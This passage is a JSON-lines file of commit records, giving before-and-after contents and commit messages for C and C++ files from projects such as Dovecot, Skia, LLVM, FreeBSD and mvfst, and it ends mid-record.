{"commit":"78ed645bc65bfcbf88c84c19efc0c38d2c5c1360","old_file":"bibdesk\/BDSKOAIGroupServer.h","new_file":"bibdesk\/BDSKOAIGroupServer.h","old_contents":"","new_contents":"\/\/\n\/\/  BDSKOAIGroupServer.h\n\/\/  Bibdesk\n\/\/\n\/\/  Created by Christiaan Hofman on 1\/1\/07.\n\/\/  Copyright 2007 __MyCompanyName__. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import \"BDSKSearchGroup.h\"\n\n@class BDSKServerInfo;\n\n@interface BDSKOAIGroupServer : NSObject <BDSKSearchGroupServer>\n{\n    BDSKSearchGroup *group;\n    BDSKServerInfo *serverInfo;\n    NSString *searchTerm;\n    NSString *resumptionToken;\n    NSArray *sets;\n    NSString *filePath;\n    NSURLDownload *URLDownload;\n    BOOL failedDownload;\n    BOOL isRetrieving;\n    BOOL needsReset;\n    int availableResults;\n    int fetchedResults;\n}\n- (void)setServerInfo:(BDSKServerInfo *)info;\n- (BDSKServerInfo *)serverInfo;\n- (void)setSearchTerm:(NSString *)string;\n- (NSString *)searchTerm;\n- (void)setSets:(NSArray *)newSets;\n- (NSArray *)sets;\n- (void)setResumptionToken:(NSString *)newResumptionToken;\n- (NSString *)resumptionToken;\n- (void)resetSearch;\n- (void)fetchSets;\n- (void)fetch;\n- (void)startDownloadFromURL:(NSURL *)theURL;\n\n@end\n","subject":"Add new header file. (or: xcode is stupid)","message":"Add new header file. (or: xcode is stupid)\n","lang":"C","license":"bsd-3-clause","repos":"JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim"}
{"commit":"2a3828f1e477561e574fb9ee4525641832e3dcd9","old_file":"make\/src\/config.c","new_file":"make\/src\/config.c","old_contents":"#include <stdlib.h>\n#include <string.h>\n#include \"config.h\"\n\nstruct Config load_config(char *arquivo) {\n\n\n}\n\nstruct Idioma load_idioma(char *idioma){\n\tchar *local_idioma;\n\tint loaded;\n\t\n\tstrcpy(local_idioma, \"local aqui\");\n\tstrcat(local_idioma, idioma);\n\tstrcat(local_idioma, \".conf\");\n\t\n\t\n\t\n\tloaded = 1;\n\twhile(loaded) {\n\t\t\n\t\tstrcpy(local_idioma, \"local aqui\");\n\t\tstrcat(local_idioma, idioma);\n\t\tstrcat(local_idioma, \".conf\");\n\t\n\t\t\/\/Abre idioma\n\t\tFILE *arquivo = fopen(local_idioma, \"r\");\n\t\n\t\tif(file) {\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloaded = 0;\n\t\t}\n\t\telse {\n\t\t\tprintf(\"Arquivo de idioma não localizado\\n\");\n\t\t\tprintf(\"Will try to load the default language\\n\");\n\t\t\t\n\t\t}\n\t}\n}","new_contents":"#include <stdlib.h>\n#include <string.h>\n#include \"config.h\"\n\nstruct Config load_config(char *arquivo) {\n\n\n}\n\nvoid load_idioma(struct Idioma *idioma, char *key, char *content){\n\n}\n\nvoid clean_idioma(struct Idioma *idioma) {\n\tfree(idioma);\n} \n\n\n","subject":"Change functions to handle idioma","message":"Change functions to handle idioma\n","lang":"C","license":"apache-2.0","repos":"ezefranca\/LogiKiD-Allegro5-Game,ezefranca\/LogiKiD-Allegro5-Game,ezefranca\/LogiKiD-Allegro5-Game"}
{"commit":"a4dca78e05e29151fb8d20573f4387d750c10bc3","old_file":"Paystack\/PublicHeaders\/PSTCKTransactionParams.h","new_file":"Paystack\/PublicHeaders\/PSTCKTransactionParams.h","old_contents":"\/\/\n\/\/  PSTCKTransactionParams.h\n\/\/  Paystack\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"PSTCKFormEncodable.h\"\n\/**\n *  Representation of a user's credit card details. You can assemble these with information that your user enters and\n *  then create Paystack tokens with them using an PSTCKAPIClient. @see https:\/\/paystack.com\/docs\/api#cards\n *\/\n@interface PSTCKTransactionParams : NSObject<PSTCKFormEncodable>\n\n@property (nonatomic, copy, nonnull) NSString *email;\n@property (nonatomic, nonnull) NSUInteger *amount;\n@property (nonatomic, copy, nullable) NSString *reference;\n@property (nonatomic, copy, nullable) NSString *subaccount;\n@property (nonatomic, nullable) NSUInteger *transactionCharge;\n@property (nonatomic, copy, nullable) NSString *bearer;\n@property (nonatomic, copy, nullable) NSString *metadata;\n\n@end\n","new_contents":"\/\/\n\/\/  PSTCKTransactionParams.h\n\/\/  Paystack\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"PSTCKFormEncodable.h\"\n\/**\n *  Representation of a user's credit card details. You can assemble these with information that your user enters and\n *  then create Paystack tokens with them using an PSTCKAPIClient. @see https:\/\/paystack.com\/docs\/api#cards\n *\/\n@interface PSTCKTransactionParams : NSObject<PSTCKFormEncodable>\n\n@property (nonatomic, copy, nonnull) NSString *email;\n@property (nonatomic) NSUInteger amount;\n@property (nonatomic, copy, nullable) NSString *reference;\n@property (nonatomic, copy, nullable) NSString *subaccount;\n@property (nonatomic) NSUInteger transactionCharge;\n@property (nonatomic, copy, nullable) NSString *bearer;\n@property (nonatomic, copy, nullable) NSString *metadata;\n\n@end\n","subject":"Make UInt safe on Transaction Params by not using pointer","message":"Make UInt safe on Transaction Params by not using pointer\n","lang":"C","license":"mit","repos":"PaystackHQ\/paystack-ios,PaystackHQ\/paystack-ios,PaystackHQ\/paystack-ios,PaystackHQ\/paystack-ios"}
{"commit":"28621d2412f8a353d7a01d007a7811542d60ac0a","old_file":"src\/imap\/cmd-close.c","new_file":"src\/imap\/cmd-close.c","old_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\telse if (mailbox_sync(mailbox, 0, 0, NULL) < 0)\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","subject":"Synchronize the mailbox after expunging messages to actually get them expunged.","message":"CLOSE: Synchronize the mailbox after expunging messages to actually get them\nexpunged.\n","lang":"C","license":"mit","repos":"Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot"}
{"commit":"f3b8d84988cdb8fcafe5063870a532dde78e4c31","old_file":"attempter.c","new_file":"attempter.c","old_contents":"","new_contents":"#include \"emu.h\"\n\nstatic void\nandflags_sr(unsigned res, uint16_t *sr)\n{\n\n\t*sr &= ~(SR_V | 0xfe00);\n\n\tif (res & 0x8000)\n\t\t*sr |= SR_N;\n\telse\n\t\t*sr &= ~SR_N;\n\tif (res == 0) {\n\t\t*sr |= SR_Z;\n\t\t*sr &= ~SR_C;\n\t} else {\n\t\t*sr &= ~SR_Z;\n\t\t*sr |= SR_C;\n\t}\n}\n\nstatic void\naddflags_sr(unsigned res, unsigned bw, uint16_t *sr)\n{\n\tunsigned sz = 16;\n\n\tif (bw)\n\t\tsz = 8;\n\n\tif (bw == 0 && (res & 0x8000))\n\t\t*sr |= SR_N;\n\telse\n\t\t*sr &= ~SR_N;\n\n\t\/\/ #uctf never sets V. Only clear on arithmetic, though.\n\t*sr &= ~SR_V;\n\t*sr &= ~0xfe00;\n#if 0\n\tif ((res & 0x8000) ^ (orig & 0x8000))\n\t\t*set |= SR_V;\n#endif\n\n\tif ((res & ((1 << sz) - 1)) == 0)\n\t\t*sr |= SR_Z;\n\telse\n\t\t*sr &= ~SR_Z;\n\n\tif (res & (1 << sz))\n\t\t*sr |= SR_C;\n\telse\n\t\t*sr &= ~SR_C;\n}\n\n#include \"trace_c.c\"\n\nvoid\ninputs(unsigned idx, unsigned depthrem)\n{\n\n\tif (depthrem == 0) {\n\t\ttry();\n\n\t\tif (unlocked) {\n\t\t\tprintf(\"Solved!\\n\");\n\t\t\texit(0);\n\t\t}\n\t\treturn;\n\t}\n\n\tfor (unsigned i = 0; i < 256; i++) {\n\t\tInput[idx] = i;\n\t\tinputs(idx + 1, depthrem - 1);\n\t}\n}\n\nint\nmain(void)\n{\n\n\tfor (unsigned i = 1; i < 7; i++) {\n\t\tprintf(\"Trying input len: %d\\n\", i);\n\t\tInputLen = i;\n\t\tinputs(0, i);\n\t}\n\n\treturn 0;\n}\n","subject":"Add basic depth-first bruter w\/ traced C","message":"Add basic depth-first bruter w\/ traced C\n","lang":"C","license":"mit","repos":"nedwill\/msp430-emu-uctf,cemeyer\/avr-emu,cemeyer\/msp430-emu-uctf,piratejon\/msp430-emu-uctf,piratejon\/msp430-emu-uctf"}
{"commit":"219d412d13700e86571971075128cd65c2ccd24f","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 87\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 88\n#endif\n","subject":"Update Skia milestone to 88","message":"Update Skia milestone to 88\n\nChange-Id: I8d01f643e1cb7327713959ea744de3ae8c82bb6e\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/321520\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia"}
{"commit":"f1c31c00a26f31c337ab37c37ea529567986bfa2","old_file":"include\/gum\/GlyphStyleID.h","new_file":"include\/gum\/GlyphStyleID.h","old_contents":"#ifndef _GUM_GLYPH_STYLE_ID_H_\n#define _GUM_GLYPH_STYLE_ID_H_\n\n#include \"gum\/GlyphStyle.h\"\n\n#include <cu\/cu_macro.h>\n#include <cu\/cu_stl.h>\n\nnamespace gum\n{\n\nclass GlyphStyle;\n\nclass GlyphStyleID\n{\npublic:\n\tint Gen(const GlyphStyle& style);\n\nprivate:\n\tstatic int Hash(const GlyphStyle& style);\n\nprivate:\n\tstatic const int HASH_CAP = 197;\n\nprivate:\n\tint m_next_id;\n\tstd::vector<std::pair<GlyphStyle, int> > m_hash[HASH_CAP];\n\n \tstd::pair<GlyphStyle, int> m_last;\n\t\n\tCU_SINGLETON_DECLARATION(GlyphStyleID)\n\n}; \/\/ GlyphStyleID\n\n}\n\n#endif \/\/ _GUM_GLYPH_STYLE_ID_H_","new_contents":"#ifndef _GUM_GLYPH_STYLE_ID_H_\n#define _GUM_GLYPH_STYLE_ID_H_\n\n#include \"gum\/GlyphStyle.h\"\n\n#include <cu\/cu_macro.h>\n#include <cu\/cu_stl.h>\n\nnamespace gum\n{\n\nclass GlyphStyle;\n\nclass GlyphStyleID\n{\npublic:\n\tint Gen(const GlyphStyle& style);\n\nprivate:\n\tstatic int Hash(const GlyphStyle& style);\n\nprivate:\n\tstatic const int HASH_CAP = 197;\n\nprivate:\n\tint m_next_id;\n\tCU_VEC<std::pair<GlyphStyle, int> > m_hash[HASH_CAP];\n\n \tstd::pair<GlyphStyle, int> m_last;\n\t\n\tCU_SINGLETON_DECLARATION(GlyphStyleID)\n\n}; \/\/ GlyphStyleID\n\n}\n\n#endif \/\/ _GUM_GLYPH_STYLE_ID_H_","subject":"Revert \"[FIXED] not use allocator, for async draw\"","message":"Revert \"[FIXED] not use allocator, for async draw\"\n\nThis reverts commit 3cce0321da141d1fb8689d826fd5f5235066c977.\n","lang":"C","license":"mit","repos":"xzrunner\/gum,xzrunner\/gum"}
{"commit":"89a8e62c03aa2cfe044c9023ec3bbaefb835a7df","old_file":"test\/profile\/Posix\/instrprof-get-filename-merge-mode.c","new_file":"test\/profile\/Posix\/instrprof-get-filename-merge-mode.c","old_contents":"\/\/ Test __llvm_profile_get_filename when the on-line merging mode is enabled.\n\/\/\n\/\/ RUN: %clang_pgogen -dynamiclib -o %t.dso %p\/Inputs\/instrprof-get-filename-dso.c\n\/\/ RUN: %clang_pgogen -o %t %s %t.dso\n\/\/ RUN: env LLVM_PROFILE_FILE=\"%t-%m.profraw\" %run %t\n\n#include <string.h>\n\nconst char *__llvm_profile_get_filename(void);\nextern const char *get_filename_from_DSO(void);\n\nint main(int argc, const char *argv[]) {\n  const char *filename1 = __llvm_profile_get_filename();\n  const char *filename2 = get_filename_from_DSO();\n\n  \/\/ Exit with code 1 if the two filenames are the same.\n  return strcmp(filename1, filename2) == 0;\n}\n","new_contents":"\/\/ Test __llvm_profile_get_filename when the on-line merging mode is enabled.\n\/\/\n\/\/ RUN: %clang_pgogen -fPIC -shared -o %t.dso %p\/..\/Inputs\/instrprof-get-filename-dso.c\n\/\/ RUN: %clang_pgogen -o %t %s %t.dso\n\/\/ RUN: env LLVM_PROFILE_FILE=\"%t-%m.profraw\" %run %t\n\n#include <string.h>\n\nconst char *__llvm_profile_get_filename(void);\nextern const char *get_filename_from_DSO(void);\n\nint main(int argc, const char *argv[]) {\n  const char *filename1 = __llvm_profile_get_filename();\n  const char *filename2 = get_filename_from_DSO();\n\n  \/\/ Exit with code 1 if the two filenames are the same.\n  return strcmp(filename1, filename2) == 0;\n}\n","subject":"Use -fPIC -shared in a test instead of -dynamiclib","message":"[profile] Use -fPIC -shared in a test instead of -dynamiclib\n\nThis is more portable than -dynamiclib. Also, fix the path to an input\nfile that broke when the test was moved in r375315.\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@375317 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"e539d64784ae5837ca6b7f424e1c6ce3540feceb","old_file":"runtime\/test\/tasking\/bug_36720.c","new_file":"runtime\/test\/tasking\/bug_36720.c","old_contents":"\/\/ RUN: %libomp-compile-and-run\n\n\/*\nBugzilla: https:\/\/bugs.llvm.org\/show_bug.cgi?id=36720\n\nAssertion failure at kmp_runtime.cpp(1715): nthreads > 0.\nOMP: Error #13: Assertion failure at kmp_runtime.cpp(1715).\n\nThe assertion fails even with OMP_NUM_THREADS=1. If the second task is removed,\neverything runs to completion. If the \"omp parallel for\" directives are removed\nfrom inside the tasks, once again everything runs fine.\n*\/\n\n#define N 1024\n\nint main() {\n  #pragma omp task\n  {\n    #pragma omp parallel for\n    for (int i = 0; i < N; i++)\n      (void)0;\n  }\n\n  #pragma omp task\n  {\n    #pragma omp parallel for\n    for (int i = 0; i < N; ++i)\n      (void)0;\n  }\n\n  #pragma omp taskwait\n\n  return 0;\n}\n","new_contents":"\/\/ RUN: %libomp-compile-and-run\n\n\/*\nBugzilla: https:\/\/bugs.llvm.org\/show_bug.cgi?id=36720\n\nAssertion failure at kmp_runtime.cpp(1715): nthreads > 0.\nOMP: Error #13: Assertion failure at kmp_runtime.cpp(1715).\n\nThe assertion fails even with OMP_NUM_THREADS=1. If the second task is removed,\neverything runs to completion. If the \"omp parallel for\" directives are removed\nfrom inside the tasks, once again everything runs fine.\n*\/\n\n#define N 1024\n\nint main() {\n  #pragma omp task\n  {\n    int i;\n    #pragma omp parallel for\n    for (i = 0; i < N; i++)\n      (void)0;\n  }\n\n  #pragma omp task\n  {\n    int i;\n    #pragma omp parallel for\n    for (i = 0; i < N; ++i)\n      (void)0;\n  }\n\n  #pragma omp taskwait\n\n  return 0;\n}\n","subject":"Convert test for PR36720 to c89","message":"[test] Convert test for PR36720 to c89\n\nGCC 4.8.5 defaults to this old C standard. I think we should make the\ntests pass a newer -std=c99|c11 but that's too intrusive for now...\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D50084\n\ngit-svn-id: f99161ee8ccfe2101cbe1bdda2220bce2ed25485@338490 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/openmp,llvm-mirror\/openmp,llvm-mirror\/openmp,llvm-mirror\/openmp,llvm-mirror\/openmp"}
{"commit":"01fd8208ef8d9e3a5c61c1503e2bcb0dd5067f25","old_file":"string-permutation-check\/string-permutation-check\/main.c","new_file":"string-permutation-check\/string-permutation-check\/main.c","old_contents":"","new_contents":"\/\/\n\/\/  main.c\n\/\/  Check if two strings are permutations by checking if they have identical character counts.\n\/\/\n\/\/  Created by Jack Zuban on 8\/20\/17.\n\/\/  Copyright © 2017 Jack Zuban. All rights reserved.\n\/\/\n\n#include <stdio.h>\n#include <stdbool.h>\n\nbool areStringsHaveSameLength(char *str1, char *str2)\n{\n    while (*str1 && *str2) {\n        str1++;\n        str2++;\n    }\n\n    return (*str1 == '\\0' && *str2 == '\\0');\n}\n\nbool isPermutation(char *str1, char *str2)\n{\n    bool areStringsHaveSameLength(char *str1, char *str2);\n    int charactersFrequency[127] = {};\n\n    if (! areStringsHaveSameLength(str1, str2)) {\n        return false;\n    }\n\n    while (*str1) {\n        charactersFrequency[(int) *str1]++;\n        str1++;\n    }\n\n    while (*str2) {\n        charactersFrequency[(int) *str2]--;\n\n        if (charactersFrequency[(int) *str2] < 0) {\n            return false;\n        }\n\n        str2++;\n    }\n\n    return true;\n}\n\nint main(void) {\n    bool isPermutation(char *str1, char *str2);\n    char str1[80];\n    char str2[80];\n\n    printf(\"First string: \");\n    fgets(str1, 79, stdin);\n\n    printf(\"Second string: \");\n    fgets(str2, 79, stdin);\n\n    printf(\"Strings are: %s\\n\", isPermutation(str1, str2) ? \"permutations.\" : \"not permutations.\");\n\n    return 0;\n}\n","subject":"Check if two strings are permutations by checking their character counts","message":"Check if two strings are permutations by checking their character counts\n","lang":"C","license":"mit","repos":"jack-zuban\/c-practice"}
{"commit":"3b879e32d7063b4b83867fac9a8c38f042a0fc2b","old_file":"arch\/x86_64\/rsp\/vmov.c","new_file":"arch\/x86_64\/rsp\/vmov.c","old_contents":"\/\/\n\/\/ arch\/x86_64\/rsp\/vmov.c\n\/\/\n\/\/ This file is subject to the terms and conditions defined in\n\/\/ 'LICENSE', which is part of this source code package.\n\/\/\n\n#include \"common.h\"\n#include \"rsp\/cpu.h\"\n#include \"rsp\/rsp.h\"\n\n__m128i rsp_vmov(struct rsp *rsp,\n  unsigned src, unsigned e, unsigned dest, rsp_vect_t vt_shuffle) {\n  uint16_t data;\n\n  \/\/ Copy element into data\n  memcpy(&data, (e & 0x7) + (uint16_t *)&vt_shuffle, sizeof(uint16_t));\n\n  printf(\"src %d dest %d el %x data %x\\n\", src, dest, e, data);\n  fflush(stdout);\n\n  \/\/ Write out the upper part of the result.\n  rsp->cp2.regs[dest].e[e & 0x7] = data;\n  return rsp_vect_load_unshuffled_operand(rsp->cp2.regs[dest].e);\n}\n\n","new_contents":"\/\/\n\/\/ arch\/x86_64\/rsp\/vmov.c\n\/\/\n\/\/ This file is subject to the terms and conditions defined in\n\/\/ 'LICENSE', which is part of this source code package.\n\/\/\n\n#include \"common.h\"\n#include \"rsp\/cpu.h\"\n#include \"rsp\/rsp.h\"\n\n__m128i rsp_vmov(struct rsp *rsp,\n  unsigned src, unsigned e, unsigned dest, rsp_vect_t vt_shuffle) {\n  uint16_t data;\n\n  \/\/ Copy element into data\n  memcpy(&data, (e & 0x7) + (uint16_t *)&vt_shuffle, sizeof(uint16_t));\n\n  \/\/ Write out the upper part of the result.\n  rsp->cp2.regs[dest].e[e & 0x7] = data;\n  return rsp_vect_load_unshuffled_operand(rsp->cp2.regs[dest].e);\n}\n\n","subject":"Remove debug information from VMOV code","message":"Remove debug information from VMOV code\n","lang":"C","license":"bsd-3-clause","repos":"tj90241\/cen64,tj90241\/cen64"}
{"commit":"9824060b9c83743ddf280113bc454ee482019ad0","old_file":"sys\/sys\/refcount.h","new_file":"sys\/sys\/refcount.h","old_contents":"","new_contents":"\/*-\n * Copyright (c) 2005 John Baldwin <jhb@FreeBSD.org>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n * 3. Neither the name of the author nor the names of any co-contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifndef __SYS_REFCOUNT_H__\n#define __SYS_REFCOUNT_H__\n\n#include <machine\/atomic.h>\n\nstatic __inline void\nrefcount_init(volatile u_int *count, u_int value)\n{\n\n\t*count = value;\n}\n\nstatic __inline void\nrefcount_acquire(volatile u_int *count)\n{\n\n\tatomic_add_acq_int(count, 1);\t\n}\n\nstatic __inline int\nrefcount_release(volatile u_int *count)\n{\n\n\t\/* XXX: Should this have a rel membar? *\/\n\treturn (atomic_fetchadd_int(count, -1) == 1);\n}\n\n#endif\t\/* ! __SYS_REFCOUNT_H__ *\/\n","subject":"Add a simple reference count API that is simply a thin wrapper API around atomic operations on ints.","message":"Add a simple reference count API that is simply a thin wrapper API around\natomic operations on ints.\n\nReviewed by:\tarch@\nMFC after:\t1 week\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"8fa7230f1fee1f68f7ae6ed03cdc72c63a8c97b2","old_file":"modules\/acpi\/acpi_module.c","new_file":"modules\/acpi\/acpi_module.c","old_contents":"\/* SPDX-License-Identifier: BSD-2-Clause *\/\n\n#include <tilck\/common\/basic_defs.h>\n#include <tilck\/common\/printk.h>\n\n#include <tilck\/kernel\/sched.h>\n\n#include \"osl.h\"\n#include <3rd_party\/acpi\/acpi.h>\n#include <3rd_party\/acpi\/acexcep.h>\n\nstatic ACPI_TABLE_DESC acpi_tables[16];\n\nvoid\nearly_init_acpi_module(void)\n{\n   ACPI_STATUS rc;\n\n   rc = AcpiInitializeSubsystem();\n\n   if (rc != AE_OK)\n      panic(\"AcpiInitializeSubsystem() failed with: %d\", rc);\n\n   rc = AcpiInitializeTables(acpi_tables, 16, false);\n\n   if (rc != AE_OK)\n      panic(\"AcpiInitializeTables() failed with: %d\", rc);\n}\n","new_contents":"\/* SPDX-License-Identifier: BSD-2-Clause *\/\n\n#include <tilck\/common\/basic_defs.h>\n#include <tilck\/common\/printk.h>\n\n#include <tilck\/kernel\/sched.h>\n\n#include \"osl.h\"\n#include <3rd_party\/acpi\/acpi.h>\n#include <3rd_party\/acpi\/acexcep.h>\n\nvoid\nearly_init_acpi_module(void)\n{\n   ACPI_STATUS rc;\n\n   rc = AcpiInitializeSubsystem();\n\n   if (rc != AE_OK)\n      panic(\"AcpiInitializeSubsystem() failed with: %d\", rc);\n\n   rc = AcpiInitializeTables(NULL, 0, true);\n\n   if (rc != AE_OK)\n      panic(\"AcpiInitializeTables() failed with: %d\", rc);\n}\n","subject":"Make AcpiInitializeTables to dynamically alloc tables","message":"[acpi] Make AcpiInitializeTables to dynamically alloc tables\n","lang":"C","license":"bsd-2-clause","repos":"vvaltchev\/experimentOs,vvaltchev\/experimentOs,vvaltchev\/experimentOs,vvaltchev\/experimentOs"}
{"commit":"32df46c68c5f8756b4383b1228d17df6538ae671","old_file":"quic\/common\/test\/TestClientUtils.h","new_file":"quic\/common\/test\/TestClientUtils.h","old_contents":"\/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#pragma once\n\n#include <fizz\/protocol\/CertificateVerifier.h>\n\nnamespace quic::test {\n\nclass TestCertificateVerifier : public fizz::CertificateVerifier {\n public:\n  ~TestCertificateVerifier() override = default;\n\n  void verify(const std::vector<std::shared_ptr<const fizz::PeerCert>>&)\n      const override {\n    return;\n  }\n\n  [[nodiscard]] std::vector<fizz::Extension> getCertificateRequestExtensions()\n      const override {\n    return std::vector<fizz::Extension>();\n  }\n};\n\ninline std::unique_ptr<fizz::CertificateVerifier>\ncreateTestCertificateVerifier() {\n  return std::make_unique<TestCertificateVerifier>();\n}\n\n} \/\/ namespace quic::test\n","new_contents":"\/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#pragma once\n\n#include <fizz\/protocol\/CertificateVerifier.h>\n\nnamespace quic::test {\n\nclass TestCertificateVerifier : public fizz::CertificateVerifier {\n public:\n  ~TestCertificateVerifier() override = default;\n\n  std::shared_ptr<const folly::AsyncTransportCertificate> verify(\n      const std::vector<std::shared_ptr<const fizz::PeerCert>>& certs)\n      const override {\n    return certs.front();\n  }\n\n  [[nodiscard]] std::vector<fizz::Extension> getCertificateRequestExtensions()\n      const override {\n    return std::vector<fizz::Extension>();\n  }\n};\n\ninline std::unique_ptr<fizz::CertificateVerifier>\ncreateTestCertificateVerifier() {\n  return std::make_unique<TestCertificateVerifier>();\n}\n\n} \/\/ namespace quic::test\n","subject":"Replace fizz server cert with leaf cert returned from verification","message":"Replace fizz server cert with leaf cert returned from verification\n\nSummary: Added code to return the leaf cert after successfully verification of the server cert. The returned cert is then used for replacing the server cert.\n\nReviewed By: AjanthanAsogamoorthy\n\nDifferential Revision: D35898220\n\nfbshipit-source-id: 8f542471a711d5aa62d0aad4c1d12b10c2209744\n","lang":"C","license":"mit","repos":"facebookincubator\/mvfst,facebookincubator\/mvfst,facebookincubator\/mvfst,facebookincubator\/mvfst,facebookincubator\/mvfst"}
{"commit":"b4c1779d143c3555a61ab588589c68549117fea6","old_file":"subprojects\/docs\/src\/samples\/native-binaries\/prebuilt\/3rd-party-lib\/util\/src\/util\/headers\/util.h","new_file":"subprojects\/docs\/src\/samples\/native-binaries\/prebuilt\/3rd-party-lib\/util\/src\/util\/headers\/util.h","old_contents":"#ifdef _WIN32\n#define LIB_FUNC __declspec(dllimport)\n#else\n#define LIB_FUNC\n#endif\n\nvoid LIB_FUNC printBuildType();\n","new_contents":"#ifdef _WIN32\n#define LIB_FUNC __declspec(dllexport)\n#else\n#define LIB_FUNC\n#endif\n\nvoid LIB_FUNC printBuildType();\n","subject":"Use correct syntax for windows DLL export","message":"Use correct syntax for windows DLL 